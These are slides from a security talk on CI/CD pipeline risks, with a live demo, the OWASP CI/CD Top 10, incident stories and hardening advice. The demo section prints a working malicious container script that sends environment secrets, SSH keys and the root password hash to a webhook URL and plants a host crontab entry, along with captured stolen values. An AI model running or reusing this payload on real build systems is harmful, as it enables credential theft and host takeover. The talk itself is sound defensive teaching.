





SBA
Research

Security risks of CI/CD systems

The monster in your basement

 **Bundesministerium**
Klimaschutz, Umwelt,
Energie, Mobilität,
Innovation und Technologie

 **Bundesministerium**
Arbeit und Wirtschaft



FWF Österreichischer
Wissenschaftsfonds



whoami

- Mathias Tausig – mtausig@sba-research.org
- Technical IT Security Consultant at SBA Research
 - Pentesting, AppSec, SDLC, Threat Modeling, CI Security, Cryptography, ...
- Formerly SysAdmin, Developer, Security Officer, University teacher



SBA Research

Forschung & Beratung unter einem Dach



Security Governance

- Security Governance Lagebild
- ISMS / ISO27001
- Compliance (NIS-2, CRA, DORA, etc.)
- Risikomanagement
- Audit



Cyber Defense

- Cyber Security Lagebild
- Penetrationstests der (Cloud) Infrastruktur
- SWIFT CSP Audit
- Social Engineering / Spear Phishing
- Red – Blue – Purple Teaming



- Cyber Security Essentials
- Secure Coding Fundamentals
- Web Application Hacking
- Cyber Defense / Hacking
- Security Awareness

Security Schulungen

Aktuell Förderung durch **FFG Skills Check 2024** möglich



- Sicherer Softwareentwicklungsprozess
- Threat Modeling
- Application Pentesting
- Mobile Application Pentesting
- CI/CD Audit

Software Security



Treten Sie unserer MeetUp Gruppe bei!


<https://www.meetup.com/Security-Meetup-by-SBA-Research/>



Motivation

Why CI?

- Software Development becoming increasingly complex, in part due to security requirements
- Tooling required to handle security issues
 - (Unit) Testing
 - Software Composition Analysis
 - Static Code Analysis
 - Secret Detection
 - Linters
 - ...
- Automation necessary for continuous usage
- Continuous Integration allows us easy management
- Problem solved?



Motivation

All problems in computer science can be solved by another level of indirection.


Except for the problem of too many layers of indirection...

- David Wheeler



Motivation

- CI/CD systems are **omnipresent**
 - CI for building and packaging software
 - CD for deploying it
- But not just omnipresent but usually almost **omnipotent**
 - rw access to your source code
 - rw access to your build artefacts
 - Admin access to your servers, Cloud account, K8S cluster, ...



Motivation

- This omnipotent system is executing code from various sources
 - Badly reviewed and untested scripts
 - Random container images from Docker Hub
 - Script templates/actions someone else wrote
 - Dependency installers
- Execution is happening on *runners* not considered security critical, because they are just an internal *dev tool*



Motivation

Power of your CI system



Amount of time invested by security team into the CI system



Motivation



Live Demonstration



Testproject

- Python script printing *Hello world!*
- Managed in Gitlab
- Built into a Docker container
- CI uses a private runner

```
#!/usr/bin/python3

"""Module which greets the world."""

print("Hello world!")
```

Testproject

```
stages:
  - lint
  - build
pylint:
  stage: lint
  image: "my/pylint"
  script:
    - pylint hello.py
containerimage:
  stage: build
  image: docker:24.0.5
  services: [docker:24.0.5-dind]
  script:
    - docker build . -t hello
variables: {DOCKER_TLS_CERTDIR: "/certs"}
```

Testproject

```
stages:
  - lint
  - build
pylint:
  stage: lint
  image: "my/pylint" "my/pylint-evil"
  script:
    - pylint hello.py
containerimage:
  stage: build
  image: docker:24.0.5
  services: [docker:24.0.5-dind]
  script:
    - docker build . -t hello
variables: {DOCKER_TLS_CERTDIR: "/certs"}
```

Evil Image

```
FROM alpine:3.16

RUN apk add --no-cache python3 py3-pip curl bash

RUN pip3 install pylint
RUN mkdir /src

WORKDIR /src
COPY evil.sh /tmp/evil.sh
ENTRYPOINT ["/bin/bash", "/tmp/evil.sh"]
```

Evil Image

```
#!/bin/bash
```

```
URL="https://webhook.site/428b8eb8-bec3-48d8-a65a-5e10dcab781f"
```

```
# Dump environment secrets
```

```
curl --silent --request POST --data=$(env|base64 -w 0) $URL >/dev/null
```

```
# Access host fs
```

```
mount /dev/sda1 /mnt
```

```
# Steal SSH keys
```

```
find /mnt/home -name 'id_rsa' -exec curl -s --request POST --data @{} $URL >/dev/null \;
```

```
# Get root password hash
```

```
curl --silent --request POST --data $(grep root /mnt/etc/shadow) $URL >/dev/null
```

```
# Execute code on host
```

```
echo "$((($(date +%M) + 1)) $((($(date -u +%H)+2)) $(date +%d) $(date +%m)) * root
```

```
curl --silent --request POST --data \"Hello from host \$(cat /etc/hostname)\"
```

```
https://webhook.site/$ID >/dev/null" >> /mnt/etc/crontab
```

```
exec "$@"
```


Attack

```
Running with gitlab-runner 17.0.0 (44feccdf) on 927bb50647c9 WjKyngy7z, system ID: [...]
Preparing the "docker" executor 00:01
Using Docker executor with image my/pylint-evil ...
Using docker image sha256:76b5f[...] for my/pylint-evil ...
Preparing environment 00:01
Running on runner-wjkyngy7z-project-58135091-concurrent-0 via 1f95f8a81f39...
Getting source from Git repository 00:02
Fetching changes with git depth set to 20...
Reinitialized existing Git repository in /builds/mtsba/ci-demo/.git/
Checking out f28a7f07 as detached HEAD (ref is buildimage)...
Skipping Git submodules setup
Executing "step_script" stage of the job script 00:02
Using docker image sha256:76b5f[...] for my/pylint-evil ...
$ pylint hello.py
-----
Your code has been rated at 10.00/10
Cleaning up project directory and file based variables 00:00
Job succeeded
```

Attack

The screenshot shows the Webhook.site interface. At the top, there's a navigation bar with 'Webhook.site', 'Docs & API', 'Custom Actions', 'WebhookScript', 'Terms & Privacy', and 'Support'. On the right, there are 'Copy', 'Edit', '+ New', 'Login', and an 'Upgrade Now' button. Below the navigation bar, there's a toolbar with 'Password', 'Alias', 'Schedule', 'CSV Export', 'Custom Actions', 'Run Now', 'XHR Redirect', 'Redirect Now', and 'More'. The main content area is divided into three sections: 'REQUESTS (3/100)', 'Request Details', and 'Headers'. The 'REQUESTS' section shows a list of requests, with the most recent one highlighted in blue. The 'Request Details' section shows the URL, host, date, size, time, and ID of the request. The 'Headers' section shows the connection, content-type, content-length, accept, user-agent, and host headers. The 'Form values' section shows the raw form data. The 'Raw Content' section shows the raw request body.

Navigation: Webhook.site | Docs & API | Custom Actions | WebhookScript | Terms & Privacy | Support | Copy | Edit | + New | Login | Upgrade Now

Toolbar: Password | Alias | Schedule | CSV Export | Custom Actions | Run Now | XHR Redirect | Redirect Now | More

REQUESTS (3/100)
Newest First
Search Query

POST #1502f
185.81.215.145
06/04/2024 12:35:10 PM

POST #390ad
185.81.215.145
06/04/2024 12:35:10 PM

POST #e3479
185.81.215.145
06/04/2024 12:35:09 PM

Request Details [Permalink](#) [Raw content](#) [Copy as](#)

POST <https://webhook.site/428b8eb8-bec3-48d8-a65a-5e10dcab781f>

Host 185.81.215.145 [Whois](#) [Shodan](#) [Netify](#) [Censys](#)

Date 06/04/2024 12:35:10 PM (a few seconds ago)

Size 97 bytes

Time 0.001 sec

ID 1502f9db-e782-4917-8cdc-2836f3fbdbcc

Query strings

(empty)

Headers

connection	close
content-type	application/x-www-form-urlencoded
content-length	97
accept	*/*
user-agent	curl/8.5.0
host	webhook.site

Form values

root:\$y\$j9T\$U1oiQI (empty)
VComtwe0Axi9nC8
1\$aVddewFdcTR1m
xLb1blng7Ptp/7ckb
CdGD6OfYXx9y/:19
859:0:99999:7:::

Raw Content Format JSON Word-Wrap [Copy](#)

```
root:$y$j9T$U1oiQIVComtwe0Axi9nC81$aVddewFdcTR1mxLb1blng7Ptp/7ckbCdGD6OfYXx9y/:19859:0:99999:7:::
```

Attack

The screenshot shows the Webhook.site interface. At the top, there's a navigation bar with the site name 'Webhook.site' and various utility links like 'Docs & API', 'Custom Actions', 'WebhookScript', 'Terms & Privacy', and 'Support'. There are also buttons for 'Copy', 'Edit', '+ New', 'Login', and 'Upgrade Now'. Below the navigation bar, there's a toolbar with options like 'Password', 'Alias', 'Schedule', 'CSV Export', 'Custom Actions', 'Run Now', 'XHR Redirect', 'Redirect Now', and 'More'. The main content area is divided into three columns: 'REQUESTS (4/100)', 'Request Details', and 'Headers'. The 'REQUESTS' column shows a list of recent requests, with the selected one being a POST request with ID #390ad. The 'Request Details' column shows the full URL, host (185.81.215.145), date (06/04/2024 12:35:10 PM), size (2.5 kB), time (0.001 sec), and ID (390ad2dd-2749-4f69-bb47-435f718e1a51). The 'Headers' column shows various headers like 'connection: close', 'content-type: application/x-www-form-urlencoded', 'content-length: 2572', 'accept: */*', 'user-agent: curl/8.5.0', and 'host: webhook.site'. The 'Form values' section is currently empty.

Webhook.site

REQUESTS (4/100)

Newest First

Search Query

POST #66aea
185.81.215.145
06/04/2024 12:36:01 PM

POST #1502f
185.81.215.145
06/04/2024 12:35:10 PM

POST #390ad
185.81.215.145
06/04/2024 12:35:10 PM

Request Details

Permalink Raw content Copy as

POST <https://webhook.site/428b8eb8-bec3-48d8-a65a-5e10dcab781f>

Host 185.81.215.145 Whois Shodan Netlify Censys

Date 06/04/2024 12:35:10 PM (2 minutes ago)

Size 2.5 kB

Time 0.001 sec

ID 390ad2dd-2749-4f69-bb47-435f718e1a51

Query strings

(empty)

Headers

connection	close
content-type	application/x-www-form-urlencoded
content-length	2572
accept	*/*
user-agent	curl/8.5.0
host	webhook.site

Form values

(empty)

```
-----BEGIN_OPENSSL_PRIVATE_KEY-----b3BibnNzaC1rZXktjEAAAAABG5vbUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAEVFAA...
```

Attack

The screenshot shows the Webhook.site interface. The browser address bar displays the URL: `https://webhook.site/#!/view/428b8eb8-bec3-48d8-a65a-5e10dcab781f/e347953f-9795-4d66-...`. The page title is "Webhook.site" and the breadcrumb is "Pentest". The navigation bar includes "Docs & API", "Custom Actions", "WebhookScript", "Terms & Privacy", "Support", "Copy", "Edit", "+ New", "Login", and "Upgrade Now".

The main content area is divided into three sections:

- REQUESTS (4/100)**: A list of recent requests. The selected request is a POST from 185.81.215.145 at 12:36:01 PM on 06/04/2024.
- Request Details**:
 - POST** `https://webhook.site/428b8eb8-bec3-48d8-a65a-5e10dcab781f`
 - Host**: 185.81.215.145 (with links for Whois, Shodan, Netify, Censys)
 - Date**: 06/04/2024 12:35:09 PM (3 minutes ago)
 - Size**: 192 bytes
 - Time**: 0.001 sec
 - ID**: e347953f-9795-4d66-ab8a-05b977e15441
- Headers**:
 - connection**: close
 - content-type**: application/x-www-form-urlencoded
 - content-length**: 192
 - accept**: */*
 - user-agent**: curl/8.5.0
 - host**: webhook.site
- Form values**:

```
SE9TVE5BTUU9N2
FkNzc3M2I3ODYw
CIBXRd0vc3JkckhP
TUU9L3Jvb3QKVE
VSTT14dGVybQpT
SExWTD0wCIBBVE
g9L3Vzci9sb2NhbC
9zYmluOi91c3lvbG9
jYWwYmluOi91c3l
vc2JpbjovdXNyL2Jp
bjovc2JpbjovYmluCl
89L3Vzci9iaW4vZW
52Cg
```
- Query strings**: (empty)
- Raw Content**:

```
SE9TVE5BTUU9N2FkNzc3M2I3ODYwCIBXRd0vc3JkckhPTUU9L3Jvb3QKVEVSTT14dGVybQpTSExWTD0wCIBBVEg9L3Vzci9sb2NhbC9zYmLuOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmLuCl89L3Vzci9iaW4vZW52Cg==
```

Attack

```
$ base64 -d
SE9TVE5BTUU9N2FkNzc3M2I3ODYwClBXRd0vc3JjCkhPTUU9L3Jvb3QKVEVSTT14dGVybQpTSExWTD0wCl[...]
CI_JOB_NAME=pylint
CI_REGISTRY_PASSWORD=glcbt-65_bAyjsjsLzu25RBuEQZPV
CI_REGISTRY=registry.gitlab.com
CI_REPOSITORY_URL=https://gitlab-ci-token:glcbt-
65_bAyjsjsLzu25RBuEQZPV@gitlab.com/mtsba/ci-demo.git
[...]
```

```
$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
[...]
```

```
#
36 14 04 06 * root curl --silent --request POST --data "Hello from host $(cat
/etc/hostname)" https://webhook.site/428b8eb8-bec3-48d8-a65a-5e10dcab781f >/dev/null
```

Attack

REQUESTS (4/100)
Newest First
Search Query ?

- POST #66aea**
185.81.215.145
06/04/2024 12:36:01 PM
- POST #1502f**
185.81.215.145
06/04/2024 12:35:10 PM
- POST #390ad**
185.81.215.145
06/04/2024 12:35:10 PM

Request Details [Permalink](#) [Raw content](#) [Copy as](#)

POST <https://webhook.site/428b8eb8-bec3-48d8-a65a-5e10dcab781f>

Host 185.81.215.145 [Whois](#) [Shodan](#) [Netify](#) [Censys](#)

Date 06/04/2024 12:36:01 PM (2 minutes ago)

Size 29 bytes

Time 0.001 sec

ID 66aeab5e-f2b1-4692-b0b0-34e8f0507641

Query strings
(empty)

Raw Content [Format JSON](#) [Word-Wrap](#) [Copy](#)

```
Hello from host gitlab-runner
```

Headers

connection	close
content-type	application/x-www-form-urlencoded
content-length	29
accept	*/*
user-agent	curl/8.5.0
host	webhook.site

Form values

Hello_from_host_gitlab-runner (empty)

ab-runner



OWASP Top 10

- Main project of OWASP
- Awareness document categorizing the *most severe risks*
- Helps you prioritize when looking for vulnerabilities
- Initially (2003) only for web applications, now many more
- In 2022, the „Top 10 CI/CD Security Risks“ list created by Cidersecurity became an OWASP project



OWASP Top 10


Top 10 CI/CD Security Risks



- CICD-SEC-1 **Insufficient Flow Control Mechanisms**
- CICD-SEC-2 **Inadequate Identity and Access Management**
- CICD-SEC-3 **Dependency Chain Abuse**
- CICD-SEC-4 **Poisoned Pipeline Execution (PPE)**
- CICD-SEC-5 **Insufficient PBAC (Pipeline-Based Access Controls)**
- CICD-SEC-6 **Insufficient Credential Hygiene**
- CICD-SEC-7 **Insecure System Configuration**
- CICD-SEC-8 **Ungoverned Usage of 3rd Party Services**
- CICD-SEC-9 **Improper Artifact Integrity Validation**
- CICD-SEC-10 **Insufficient Logging and Visibility**

CICD-SEC-6

Insufficient Credential Hygiene



CICD-SEC-6

Insufficient Credential Hygiene

- CI systems need a multitude of secrets
 - Access to deployment systems
 - Artifact repository
 - Tokens for internal & external APIs
 - Runtime secrets
- Most of them are only needed temporarily



CICD-SEC-6

Problems

- (Hardcoded secrets in source code)
- Broad access to secrets in CI system
 - No role separation
 - No context separation
 - No prod/dev separation
- Secrets leaked via CI logs
- Persistence of temporary secrets in artifacts (e.g., container image)
- No lifecycle management for secrets



CICD-SEC-6

Tale From the Trenches

- Org uses self-hosted Gitlab
- Runners are well protected and only assigned to proper projects
- But there were some secrets stored as global instance-wide variables
- Any employee could login, create a project, register a local runner and dump those global variables
- Access key for cloud provider, used to store container images to registry used in automatic deployment
- Bonus: Key was for an admin account

For an instance


Tier: Free, Premium, Ultimate

Offering: Self-managed, GitLab Dedicated

You can make a CI/CD variable available to all projects and groups in a GitLab instance.

CICD-SEC-7


Insecure System Configuration



CICD-SEC-7


Tale From the Trenches

- On Premise CI system
- Available to all ~200 employees, even those not in IT
- Shared runner used for all projects
- Provides *Docker-in-Docker* service for building container images
- Any job can get root access on the host
- Root access on the host gave you continuous read access to all (sensitive) repos on the system and their secrets



CICD-SEC-3


Dependency Chain Abuse



CICD-SEC-3

Dependency Chain Abuse


- CI dependencies can run code in your system
 - Container images
 - Software packages with installation scripts
 - Tools being executed
- Problems are malicious packages rather than “just” vulnerable ones
- Can attack the build (credential theft), the infrastructure (lateral movement in the network, gaining persistence on a host) or the software being built
 - -> Poisoned Pipeline Execution



CICD-SEC-3

Dependency Chain Abuse

- **Dependency hijacking:** Becoming the maintainer for a package in a public repo
- **Typosquatting:** Publication of malicious packages with a name similar to a real package; pretending to be the “official” package
- **Dependency confusion:** Package in a public repo having the same name as an internal package



CICD-SEC-3

xz-utils

- Github user *JiaT75* started contributing to *xz-utils* in 2021
- In 2023, the maintainer of the project was bullied into accepting *JiaT75* as a co-maintainer
- They manipulated the build artifacts to include a backdoor which becomes active in openssh servers using the library
- More: <https://www.wired.com/story/jia-tan-xz-backdoor/>


CICD-SEC-2

Inadequate Identity & Access Mgmt

- Insufficient role concepts
 - no *Separation of Duties*
- Excessive default permissions for new users
- Inconsistent account management
 - SSO accounts, local accounts, open self registration
- Shared accounts
- No lifecycle management
 - Outdated permissions and stale accounts for people leaving the department or the organization
- Weak authentication procedure
 - Weak passwords, no MFA



Solarwinds



Solarwinds

- *Orion* is a management and observability service for large infrastructures
 - ~ 30.000 customers
 - NSA, NASA, Pentagon, Microsoft, Intel, Cisco, ...
- In 2020 multiple security analysts start seeing weird attacks they cannot explain
- It takes until December to identify the common denominator: All victims are using *Solarwinds Orion*

Solarwinds

- Malware found on victim's server: a dll, which is supposed to send telemetry information to Solarwinds, also sends data to attacker's server
- The dll could also activate a backdoor
- The dll was signed with Solarwind's code signing key
- -> The build process was compromised

Solarwinds

- Forensic analysis almost failed, due to missing & deleted logs
- Jan 2019: Employee's VPN account gets compromised
 - Source code exfiltrated
- Mar 2019: Analysis of build environment (TeamCity)
- Sep 2019: Small non-malicious code changes performed
- Feb 2020: Malware added to build
- November 2020: Malware removed from build, traces deleted

Solarwinds

- Attackers monitored 71 internal mail accounts for indications of detection
 - FBI reported “strange behaviour” before access was removed
- Only ~20% of Orion systems had internet access
- Attack attributed to SVR (Russian foreign intelligence)
- More: <https://www.wired.com/story/the-untold-story-of-solarwinds-the-boldest-supply-chain-hack-ever/>

What to do?

- Treat your CI infrastructure, as if security mattered
- Perform regular audits
 - Study & understand Top 10 list
 - Ask the right questions
 - Get external help, when necessary



Best Practice

- ✓ Apply *Principle of least privilege* and *Separation of duties* to your identities (and everything else)
- ✓ Only allow vetted container images
- ✓ Do not run privileged containers
- ✓ Minimize dependencies
- ✓ Perform explicit secret management
- ✓ Harden, isolate & compartmentalize your infrastructure
- ✓ Monitor for breaches



Questions?

Mathias Tausig

SBA Research

Floragasse 7, 1040 Wien

mtausig@sba-research.org

Matrix: @mtausig:sba-research.org

<https://www.sba-research.org/professional-services/audit-von-ci-cd-systemen/>

